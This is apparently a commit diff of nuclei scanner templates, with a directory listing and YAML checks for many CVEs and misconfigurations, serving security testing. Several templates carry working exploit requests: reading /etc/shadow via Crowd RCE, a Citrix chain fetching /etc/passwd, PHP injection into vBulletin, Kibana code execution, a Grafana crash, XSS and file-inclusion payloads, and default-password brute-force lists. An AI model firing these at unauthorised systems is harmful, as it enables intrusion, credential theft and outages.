Please [read this detailed guide](https://github.com/projectdiscovery/nuclei-templates/blob/master/GUIDE.md) to build new and your own custom templates.
<details>
<summary>Template Directory</summary>
```
├── LICENSE
├── README.md
├── basic-detections
│   ├── basic-xss-prober.yaml
│   └── general-tokens.yaml
├── brute-force
│   └── tomcat-manager-bruteforce.yaml
├── cves
│   ├── CVE-2017-10075.yaml
│   ├── CVE-2017-7529.yaml
│   ├── CVE-2017-9506.yaml
│   ├── CVE-2017-9841.yaml
│   ├── CVE-2018-0296.yaml
│   ├── CVE-2018-1000129.yaml
│   ├── CVE-2018-11409.yaml
│   ├── CVE-2018-11759.yaml
│   ├── CVE-2018-1247.yaml
│   ├── CVE-2018-1271.yaml
│   ├── CVE-2018-13379.yaml
│   ├── CVE-2018-14728.yaml
│   ├── CVE-2018-16341.yaml
│   ├── CVE-2018-18069.yaml
│   ├── CVE-2018-19439.yaml
│   ├── CVE-2018-20824.yaml
│   ├── CVE-2018-2791.yaml
│   ├── CVE-2018-3714.yaml
│   ├── CVE-2018-3760.yaml
│   ├── CVE-2018-5230.yaml
│   ├── CVE-2018-7490.yaml
│   ├── CVE-2019-10475.yaml
│   ├── CVE-2019-11510.yaml
│   ├── CVE-2019-12314.yaml
│   ├── CVE-2019-14322.yaml
│   ├── CVE-2019-14974.yaml
│   ├── CVE-2019-15043.yaml
│   ├── CVE-2019-16759.yaml
│   ├── CVE-2019-17382.yaml
│   ├── CVE-2019-18394.yaml
│   ├── CVE-2019-19368.yaml
│   ├── CVE-2019-19781.yaml
│   ├── CVE-2019-19908.yaml
│   ├── CVE-2019-19985.yaml
│   ├── CVE-2019-2588.yaml
│   ├── CVE-2019-3396.yaml
│   ├── CVE-2019-3799.yaml
│   ├── CVE-2019-5418.yaml
│   ├── CVE-2019-8449.yaml
│   ├── CVE-2019-8451.yaml
│   ├── CVE-2019-8903.yaml
│   ├── CVE-2019-8982.yaml
│   ├── CVE-2020-10199.yaml
│   ├── CVE-2020-10204.yaml
│   ├── CVE-2020-1147.yaml
│   ├── CVE-2020-12720.yaml
│   ├── CVE-2020-13167.yaml
│   ├── CVE-2020-2096.yaml
│   ├── CVE-2020-3187.yaml
│   ├── CVE-2020-3452.yaml
│   ├── CVE-2020-5284.yaml
│   ├── CVE-2020-5405.yaml
│   ├── CVE-2020-5410.yaml
│   ├── CVE-2020-5902.yaml
│   ├── CVE-2020-6287.yaml
│   ├── CVE-2020-7209.yaml
│   ├── CVE-2020-7961.yaml
│   ├── CVE-2020-8091.yaml
│   ├── CVE-2020-8115.yaml
│   ├── CVE-2020-8191.yaml
│   ├── CVE-2020-8193.yaml
│   ├── CVE-2020-8194.yaml
│   ├── CVE-2020-8512.yaml
│   ├── CVE-2020-8982.yaml
│   ├── CVE-2020-9484.yaml
│   └── CVE-2020-9757.yaml
├── dns
│   ├── azure-takeover-detection.yaml
│   ├── cname-service-detector.yaml
│   ├── dead-host-with-cname.yaml
│   └── servfail-refused-hosts.yaml
├── files
│   ├── apc-info.yaml
│   ├── cgi-test-page.yaml
│   ├── debug-pprof.yaml
│   ├── dir-listing.yaml
│   ├── docker-registry.yaml
│   ├── drupal-install.yaml
│   ├── elasticsearch.yaml
│   ├── exposed-kibana.yaml
│   ├── exposed-svn.yaml
│   ├── filezilla.yaml
│   ├── firebase-detect.yaml
│   ├── git-config.yaml
│   ├── htaccess-config.yaml
│   ├── jkstatus-manager.yaml
│   ├── jolokia.yaml
│   ├── laravel-env.yaml
│   ├── lazy-file.yaml
│   ├── phpinfo.yaml
│   ├── public-tomcat-instance.yaml
│   ├── security.txt.yaml
│   ├── server-status-localhost.yaml
│   ├── telerik-dialoghandler-detect.yaml
│   ├── telerik-fileupload-detect.yaml
│   ├── tomcat-scripts.yaml
│   ├── wadl-files.yaml
│   ├── web-config.yaml
│   ├── wordpress-directory-listing.yaml
│   ├── wordpress-user-enumeration.yaml
│   ├── wp-xmlrpc.yaml
│   └── zip-backup-files.yaml
├── panels
│   ├── atlassian-crowd-panel.yaml
│   ├── cisco-asa-panel.yaml
│   ├── citrix-adc-gateway-detect.yaml
│   ├── compal.yaml
│   ├── crxde.yaml
│   ├── docker-api.yaml
│   ├── fortinet-fortigate-panel.yaml
│   ├── globalprotect-panel.yaml
│   ├── grafana-detect.yaml
│   ├── jenkins-asyncpeople.yaml
│   ├── jmx-console.yaml
│   ├── kubernetes-pods.yaml
│   ├── mongo-express-web-gui.yaml
│   ├── parallels-html-client.yaml
│   ├── phpmyadmin-panel.yaml
│   ├── pulse-secure-panel.yaml
│   ├── rabbitmq-dashboard.yaml
│   ├── sap-netweaver-detect.yaml
│   ├── sap-recon-detect.yaml
│   ├── sophos-fw-version-detect.yaml
│   ├── supervpn-panel.yaml
│   ├── swagger-panel.yaml
│   ├── tikiwiki-cms.yaml
│   ├── weave-scope-dashboard-detect.yaml
│   └── webeditors.yaml
├── payloads
│   └── CVE-2020-6287.xml
├── security-misconfiguration
│   ├── basic-cors-flash.yaml
│   ├── basic-cors.yaml
│   ├── front-page-misconfig.yaml
│   ├── jira-service-desk-signup.yaml
│   ├── jira-unauthenticated-dashboards.yaml
│   ├── jira-unauthenticated-popular-filters.yaml
│   ├── jira-unauthenticated-projects.yaml
│   ├── jira-unauthenticated-user-picker.yaml
│   ├── rabbitmq-default-admin.yaml
│   ├── rack-mini-profiler.yaml
│   ├── springboot-detect.yaml
│   └── wamp-xdebug-detect.yaml
├── subdomain-takeover
│   ├── detect-all-takeovers.yaml
│   └── s3-subtakeover.yaml
├── technologies
│   ├── bigip-config-utility-detect.yaml
│   ├── citrix-vpn-detect.yaml
│   ├── clockwork-php-page.yaml
│   ├── couchdb-detect.yaml
│   ├── github-enterprise-detect.yaml
│   ├── gitlab-detect.yaml
│   ├── graphql.yaml
│   ├── home-assistant.yaml
│   ├── jaspersoft-detect.yaml
│   ├── jira-detect.yaml
│   ├── liferay-portal-detect.yaml
│   ├── linkerd-badrule-detect.yaml
│   ├── linkerd-ssrf-detect.yaml
│   ├── netsweeper-webadmin-detect.yaml
│   ├── ntlm-directories.yaml
│   ├── prometheus-exposed-panel.yaml
│   ├── s3-detect.yaml
│   ├── sap-netweaver-as-java-detect.yaml
│   ├── sap-netweaver-detect.yaml
│   ├── sql-server-reporting.yaml
│   ├── tech-detect.yaml
│   ├── weblogic-detect.yaml
│   └── werkzeug-debugger-detect.yaml
├── tokens
│   ├── amazon-mws-auth-token-value.yaml
│   ├── aws-access-key-value.yaml
│   ├── google-api-key.yaml
│   ├── http-username-password.yaml
│   ├── mailchimp-api-key.yaml
│   └── slack-access-token.yaml
├── vulnerabilities
│   ├── cached-aem-pages.yaml
│   ├── couchdb-adminparty.yaml
│   ├── crlf-injection.yaml
│   ├── discourse-xss.yaml
│   ├── git-config-nginxoffbyslash.yaml
│   ├── ibm-infoprint-directory-traversal.yaml
│   ├── microstrategy-ssrf.yaml
│   ├── moodle-filter-jmol-lfi.yaml
│   ├── moodle-filter-jmol-xss.yaml
│   ├── nginx-module-vts-xss.yaml
│   ├── open-redirect.yaml
│   ├── oracle-ebs-bispgraph-file-access.yaml
│   ├── pdf-signer-ssti-to-rce.yaml
│   ├── rce-shellshock-user-agent.yaml
│   ├── rce-via-java-deserialization.yaml
│   ├── springboot-actuators-jolokia-xxe.yaml
│   ├── symfony-debugmode.yaml
│   ├── tikiwiki-reflected-xss.yaml
│   ├── tomcat-manager-pathnormalization.yaml
│   ├── twig-php-ssti.yaml
│   ├── wordpress-duplicator-path-traversal.yaml
│   ├── wordpress-wordfence-xss.yaml
│   └── x-forwarded-host-injection.yaml
└── workflows
├── bigip-pwner-workflow.yaml
├── jira-exploitaiton-workflow.yaml
├── liferay-rce-workflow.yaml
├── netsweeper-preauth-rce-workflow.yaml
├── rabbitmq-workflow.yaml
├── sap-netweaver-workflow.yaml
└── springboot-pwner-workflow.yaml
```
</details>
13 directories, **204 templates**.
Please navigate to https://nuclei.projectdiscovery.io for detailed documentation to build new and your own custom templates and many example templates for easy understanding.
------
**Notes:**
+22
View File
@@ -0,0 +1,22 @@
id: CVE-2017-10075
info:
name: Oracle Content Server XSS
author: madrobot
severity: medium
requests:
- method: GET
path:
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO"
- "{{BaseURL}}/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX%3Cscript%3Ealert(31337)%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "<script>alert(31337)</script>"
part: body
-1
View File
@@ -16,7 +16,6 @@ requests:
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Range: bytes=-17208,-9223372036854758792
Accept-Encoding: gzip, deflate
Connection: close
matchers-condition: and
+36
View File
@@ -0,0 +1,36 @@
id: CVE-2017-9841
info:
name: CVE-2017-9841
author: Random-Robbie
severity: High
# Reference to exploit
# https://github.com/cyberharsh/Php-unit-CVE-2017-9841
# https://github.com/RandomRobbieBF/phpunit-brute
requests:
- method: GET
path:
- "{{BaseURL}}/sites/all/libraries/mailchimp/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/laravel_api/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/api/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/apps/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/backup/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/oldsite/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/lib/phpunit/phpunit/phpunit"
- "{{BaseURL}}/modules/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/old/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/zend/vendor/phpunit/phpunit/phpunit"
- "{{BaseURL}}/yii/vendor/phpunit/phpunit/phpunit"
matchers-condition: and
matchers:
- type: word
words:
- "this version of phpunit requires php 5"
part: body
- type: status
status:
- 200
+3 -2
View File
@@ -3,14 +3,15 @@ id: CVE-2018-11759
info:
name: Apache Tomcat JK Status Manager Access
author: Harsh Bothra
severity: Medium
severity: medium
# source:- https://github.com/immunIT/CVE-2018-11759
# Source:- https://github.com/immunIT/CVE-2018-11759
requests:
- method: GET
path:
- '{{BaseURL}}/jkstatus'
- '{{BaseURL}}/jkstatus;'
matchers-condition: and
matchers:
+38
View File
@@ -0,0 +1,38 @@
id: CVE-2019-11580
info:
name: Atlassian Crowd & Crowd Data Center - Unauthenticated RCE
author: dwisiswant0
severity: critical
# Atlassian Crowd and Crowd Data Center
# had the pdkinstall development plugin incorrectly enabled in release builds.
# Attackers who can send unauthenticated or authenticated requests
# to a Crowd or Crowd Data Center instance can exploit this vulnerability
# to install arbitrary plugins, which permits remote code execution on
# systems running a vulnerable version of Crowd or Crowd Data Center.
# All versions of Crowd from version 2.1.0 before 3.0.5 (the fixed version for 3.0.x),
# from version 3.1.0 before 3.1.6 (the fixed version for 3.1.x),
# from version 3.2.0 before 3.2.8 (the fixed version for 3.2.x),
# from version 3.3.0 before 3.3.5 (the fixed version for 3.3.x),
# and from version 3.4.0 before 3.4.4 (the fixed version for 3.4.x) are affected by this vulnerability.
# -
# References:
# > https://github.com/jas502n/CVE-2019-11580
requests:
- method: GET
path:
- "{{BaseURL}}/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
- "{{BaseURL}}:8095/crowd/plugins/servlet/exp?cmd=cat%20/etc/shadow"
matchers-condition: and
matchers:
- type: word
words:
- "root:*:"
- "bin:*:"
condition: and
part: body
- type: status
status:
- 200
+25
View File
@@ -0,0 +1,25 @@
id: CVE-2019-14322
info:
name: Odoo 12.0 - Local File Inclusion
author: madrobot
severity: high
requests:
- method: GET
path:
- "{{BaseURL}}/base_import/static/c:/windows/win.ini"
- "{{BaseURL}}/web/static/c:/windows/win.ini"
- "{{BaseURL}}/base/static/c:/windows/win.ini"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
part: body
+25
View File
@@ -0,0 +1,25 @@
id: CVE-2019-16759-1
info:
name: 0day RCE in vBulletin v5.0.0-v5.5.4 fix bypass
author: madrobot
severity: high
# Source:- https://blog.exploitee.rs/2020/exploiting-vbulletin-a-tale-of-patch-fail/
requests:
- raw:
- |
POST /ajax/render/widget_tabbedcontainer_tab_panel HTTP/1.1
Content-Type: application/x-www-form-urlencoded
subWidgets[0][template]=widget_php&subWidgets[0][config][code]=phpinfo();
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "PHP Version"
+17
View File
@@ -0,0 +1,17 @@
id: CVE-2019-18394
info:
name: Openfire Full Read SSRF
author: pdteam - nuclei.projectdiscovery.io
severity: critical
# Source:- https://swarm.ptsecurity.com/openfire-admin-console/
requests:
- method: GET
path:
- "{{BaseURL}}/getFavicon?host=burpcollaborator.net"
matchers:
- type: word
words:
- <h1>Burp Collaborator Server</h1>
+33
View File
@@ -0,0 +1,33 @@
id: CVE-2019-19985
info:
name: WordPress Plugin Email Subscribers & Newsletters 4.2.2 - Unauthenticated File Download
author: KBA@SOGETI_ESEC, madrobot & dwisiswant0
severity: medium
# Source:- https://www.exploit-db.com/exploits/48698
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin.php?page=download_report&report=users&status=all"
matchers-condition: and
matchers:
- type: word
words:
- Name
- Email
- Status
- Created On
condition: and
part: body
- type: word
words:
- "Content-Disposition: attachment; filename=all-contacts.csv;"
part: header
- type: status
status:
- 200
-1
View File
@@ -16,7 +16,6 @@ requests:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Referer: {{Hostname}}
Content-Length: 168
Accept-Encoding: gzip, deflate
Connection: close
{"contentId":"786457","macro":{"name":"widget","body":"","params":{"url":"https://www.viddler.com/v/23464dc5","width":"1000","height":"1000","_template":"../web.xml"}}}
+30
View File
@@ -0,0 +1,30 @@
id: CVE-2019-6112
info:
name: WordPress Plugin Sell Media v2.4.1 - Cross-Site Scripting
author: dwisiswant0
severity: medium
# A Cross-site scripting (XSS) vulnerability
# in /inc/class-search.php in the Sell Media plugin v2.4.1 for WordPress
# allows remote attackers to inject arbitrary web script or HTML
# via the keyword parameter (aka $search_term or the Search field).
# --
# References:
# > https://github.com/graphpaperpress/Sell-Media/commit/8ac8cebf332e0885863d0a25e16b4b180abedc47#diff-f16fea0a0c8cc36031ec339d02a4fb3b
requests:
- method: GET
path:
- "{{BaseURL}}/sell-media-search/?keyword=%22%3E%3Cscript%3Ealert%281337%29%3C%2Fscript%3E"
matchers-condition: and
matchers:
- type: word
words:
- "id=\"sell-media-search-text\" class=\"sell-media-search-text\""
- "alert(1337)"
condition: and
part: body
- type: status
status:
- 200
+39
View File
@@ -0,0 +1,39 @@
id: CVE-2019-7609
info:
name: Kibana Timelion Arbitrary Code Execution
author: dwisiswant0
severity: critical
# Kibana versions before 5.6.15 and 6.6.1
# contain an arbitrary code execution flaw in the Timelion visualizer.
# An attacker with access to the Timelion application could send a request
# that will attempt to execute javascript code.
# This could possibly lead to an attacker executing arbitrary commands
# with permissions of the Kibana process on the host system.
# --
# References:
# - https://github.com/mpgn/CVE-2019-7609
requests:
- method: POST
path:
- "{{BaseURL}}/api/timelion/run"
- "{{BaseURL}}:5601/api/timelion/run"
headers:
User-Agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55"
Content-Type: "application/json; charset=utf-8"
body: "{\"sheet\":[\".es(*)\"],\"time\":{\"from\":\"now-1m\",\"to\":\"now\",\"mode\":\"quick\",\"interval\":\"auto\",\"timezone\":\"Asia/Shanghai\"}}"
matchers-condition: and
matchers:
- type: word
words:
- "seriesList"
part: body
- type: word
words:
- "Content-Type: application/json"
part: header
- type: status
status:
- 200
+25
View File
@@ -0,0 +1,25 @@
id: CVE-2019-9978
info:
name: WordPress social-warfare RFI
author: madrobot
severity: ciritical
# Reference:- https://github.com/mpgn/CVE-2019-9978
requests:
- method: GET
path:
- "{{BaseURL}}/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://ip-api.com/json"
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- "timezone"
- "status"
- "country"
condition: and
part: body
-1
View File
@@ -15,7 +15,6 @@ requests:
- |
POST /ajax/api/content_infraction/getIndexableContent HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
X-Requested-With: XMLHttpRequest
+21
View File
@@ -0,0 +1,21 @@
id: CVE-2020-13379
info:
name: Unauthenticated Grafana DoS
author: pxmme1337
severity: medium
# Source:- https://www.exploit-db.com/exploits/48638
# WARNING
# This vulnerability results in complete crashing of the grafana-server application.
requests:
- method: GET
path:
- '{{BaseURL}}avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- '{{BaseURL}}/avatar/%7B%7Bprintf%20%22%25s%22%20%22this.Url%22%7D%7D'
- "{{BaseURL}}/"
matchers:
- type: status
status:
- 502
+9 -4
View File
@@ -10,10 +10,15 @@ info:
requests:
- method: GET
path:
- "{{BaseURL}}/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/session_password.html&default-language&lang=../"
- "{{BaseURL}}/+CSCOE+/session_password.html"
matchers-condition: and
matchers:
- type: word
words:
- "/+CSCOE+/session_password.html"
- "GET_OUT_RESOURCE"
condition: and
- webvpn
- Webvpn
part: header
- type: status
status:
- 200
+1 -1
View File
@@ -25,7 +25,7 @@ requests:
Content-Type: text/xml; charset=UTF-8
Connection: close
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64(data)}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:urn="urn:CTCWebServiceSi"><soapenv:Header/><soapenv:Body><urn:executeSynchronious><identifier><component>sap.com/tc~lm~config~content</component><path>content/Netweaver/ASJava/NWA/SPC/SPC_UserManagement.cproc</path></identifier><contextMessages><baData>{{base64('data')}}</baData><name>userDetails</name></contextMessages></urn:executeSynchronious></soapenv:Body></soapenv:Envelope>
matchers-condition: and
matchers:
- type: word
-1
View File
@@ -14,7 +14,6 @@ requests:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Upgrade-Insecure-Requests: 1
+66 -10
View File
@@ -6,7 +6,6 @@ info:
severity: high
# Source:- https://github.com/jas502n/CVE-2020-8193
# This template covers only detection part, use the above exploit for the exploit confirmation.
requests:
- raw:
@@ -20,13 +19,70 @@ requests:
<appfwprofile><login></login></appfwprofile>
matchers-condition: and
matchers:
- type: word
words:
- "Set-Cookie: SESSID"
part: header
- |
GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- type: status
status:
- 406
- |
GET /menu/neo HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
GET /menu/stc HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
- |
POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<appfwprofile><login></login></appfwprofile>
- |
POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1
Host: {{Hostname}}
User-Agent: python-requests/2.24.0
Accept: */*
Connection: close
Content-Type: application/xml
X-NITRO-USER: oY39DXzQ
X-NITRO-PASS: ZuU9Y9c1
rand_key: randkey
<clipermission></clipermission>
cookie-reuse: true
# Using cookie-reuse to maintain session between each request, same as browser.
extractors:
- type: regex
name: randkey
part: body
internal: true
regex:
- "(?m)[0-9]{3,10}\\.[0-9]+"
# Using rand_key as dynamic variable to make use of extractors at run time.
matchers:
- type: regex
regex:
- "root:[x*]:0:0:"
part: body
-1
View File
@@ -13,7 +13,6 @@ requests:
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Cookie: startupapp=st
+55
View File
@@ -0,0 +1,55 @@
id: CVE-2020-9496
info:
name: Apache OFBiz XML-RPC Java Deserialization
author: dwisiswant0
severity: medium
# This temaplte detects a Java deserialization vulnerability in Apache
# OFBiz's unauthenticated XML-RPC endpoint /webtools/control/xmlrpc for
# versions prior to 17.12.04.
# --
# References:
# - https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz
requests:
- raw:
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}
Origin: http://{{Hostname}}
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}:8080
Origin: http://{{Hostname}}:8080
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
- |
POST /webtools/control/xmlrpc HTTP/1.1
Host: {{Hostname}}:8443
Origin: https://{{Hostname}}:8443
Content-Type: application/xml
<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value>dwisiswant0</value></param></params></methodCall>
matchers-condition: and
matchers:
- type: word
words:
- "faultString"
- "No such service [ProjectDiscovery]"
- "methodResponse"
condition: and
part: body
- type: word
words:
- "Content-Type: text/xml"
part: header
- type: status
status:
- 200
@@ -0,0 +1,61 @@
id: grafana-default-credential
info:
name: Grafana Default Credentials Check
author: pdteam
severity: high
requests:
# https://grafana.com/docs/grafana/latest/administration/configuration/#disable_brute_force_login_protection
# https://github.com/grafana/grafana/issues/14755
# Grafana blocks for 5 minutes after 5 "Invalid" attempts for valid user.
# So make sure, not to attempt more than 4 password for same valid user.
- payloads:
# grafana_username:
# - admin
grafana_password:
- prom-operator
- admin
# Added default grafana and prometheus user.
# Source:- https://stackoverflow.com/questions/54039604/what-is-the-default-username-and-password-for-grafana-login-page
attack: sniper
# Available types: sniper, pitchfork and clusterbomb
raw:
- |
POST /login HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Referer: {{BaseURL}}
content-type: application/json
Connection: close
{"user":"admin","password":"grafana_password"}
# grafana_password will be replaced with payloads and will attempt admin:prom-operator and admin:admin
matchers-condition: and
matchers:
- type: word
words:
- grafana_session
part: header
# Check for 'grafana_session' cookie on valid login in the response header.
- type: word
words:
- Logged in
part: body
# Check for valid string on valid login.
- type: status
status:
- 200
@@ -1,15 +1,22 @@
id: tomcat-manager-bruteforce
id: tomcat-manager-default
info:
name: tomcat-manager-bruteforce-fuzzing
name: tomcat-manager-default-password
author: pdteam
severity: high
requests:
- payloads:
username: username.txt
password: password.txt
# make sure you have your wordlist on the defind path.
- payloads:
username:
- admin
password:
- admin
- guest
- password
- test
- 12345
- 123456
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
@@ -18,13 +25,17 @@ requests:
- |
GET /manager/html HTTP/1.1
Host: {{Hostname}}
Authorization: Basic {{base64(username:password)}}
Authorization: Basic {{base64('username:password')}}
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
matchers-condition: and
matchers:
- type: status
status:
- 200
- type: word
words:
- Apache Tomcat
+1 -1
View File
@@ -3,7 +3,7 @@ id: cname-service-detector
info:
name: 3rd party service checker
author: bauthard
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
+1 -1
View File
@@ -3,7 +3,7 @@ id: dead-host-with-cname
info:
name: dead-host-with-cname
author: pdnuclei - projectdiscovery.io
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
+1 -1
View File
@@ -3,7 +3,7 @@ id: servfail-refused-hosts
info:
name: Servfail Host Finder
author: mzack9999
severity: informative
severity: info
dns:
- name: "{{FQDN}}"
-18
View File
@@ -1,18 +0,0 @@
id: basic-dns-example
info:
name: Basic DNS Request
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: CNAME
class: inet
recursion: true
retries: 3
matchers:
- type: word
words:
# The response must contains a CNAME record
- "IN\tCNAME"
-15
View File
@@ -1,15 +0,0 @@
id: basic-http-test
info:
name: Test File
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers:
- type: word
words:
- "This is test!"
@@ -1,31 +0,0 @@
id: workflow-example
info:
name: Jira-Pawner
author: mzack9999
variables:
# defining temapltes using variables.
# variables names as user defind, it could be anything.
# relative path support is now added into nuclei engine for better UX.
jira: panels/detect-jira.yaml
jira_cve_1: cves/CVE-2018-20824.yaml
jira_cve_2: cves/CVE-2019-3399.yaml
jira_cve_3: cves/CVE-2019-11581.yaml
jira_cve_4: cves/CVE-2017-18101.yaml
logic:
|
# defening conditionals templates.
if jira() {
# if above conditon retruns true, run all the below tempaltes.
# if above conditon fails, no tempaltes will be executed.
jira_cve_1()
jira_cve_2()
jira_cve_3()
jira_cve_4()
}
-22
View File
@@ -1,22 +0,0 @@
id: dns-multiple-example
info:
name: DNS Multiple test
author: pdteam
severity: info
dns:
- name: "{{FQDN}}"
type: A
class: inet
recursion: true
retries: 3
matchers-condition: and
matchers:
- type: word
words:
- "example-cname.com"
- type: word
words:
- "NXDOMAIN"
-37
View File
@@ -1,37 +0,0 @@
id: dummy-raw
info:
name: Example-Fuzzing
requests:
- payloads:
param_a: /home/user/wordlist_param_a.txt
param_b: /home/user/wordlist_param_b.txt
attack: clusterbomb # Available options: sniper, pitchfork and clusterbomb
raw:
# Request with simple param and header manipulation with DSL functions
- |
POST /?param_a={{param_a}}&paramb={{param_b}} HTTP/1.1
User-Agent: {{param_a}}
Host: {{Hostname}}
another_header: {{base64(param_b)}}
Accept: */*
This is the Body
# Request with body manipulation
- |
DELETE / HTTP/1.1
User-Agent: nuclei
Host: {{Hostname}}
This is the body {{sha256(param_a)}}
# Yet another one
- |
PUT / HTTP/1.1
Host: {{Hostname}}
This is again the request body {{html_escape(param_a)}} + {{hex_encode(param_b))}}
matchers:
- type: word
words:
- "title"
- "body"
@@ -1,43 +0,0 @@
id: http-multiple-matcher-condition
info:
name: Test Template
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers-condition: or
# matchers-condition supports AND or OR operation
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
- type: word
name: burp
words:
- "Burp Collaborator"
part: header
-33
View File
@@ -1,33 +0,0 @@
id: http-multiple-matcher
info:
name: Test Template
author: pdteam
severity: info
requests:
- method: GET
path:
- "{{BaseURL}}/test.txt"
matchers:
- type: word
name: php
words:
- "X-Powered-By: PHP"
- "PHPSESSID"
part: header
- type: word
name: node
words:
- "Server: NodeJS"
- "X-Powered-By: nodejs"
condition: or
part: header
- type: word
name: python
words:
- "Python/2."
- "Python/3."
condition: or
part: header
-33
View File
@@ -1,33 +0,0 @@
id: http-raw-example
info:
name: HTTP Raw Test
author: pdteam
severity: info
requests:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
Connection: close
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_4) AppleWebKit/537.36 (KHTML, like Gecko)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
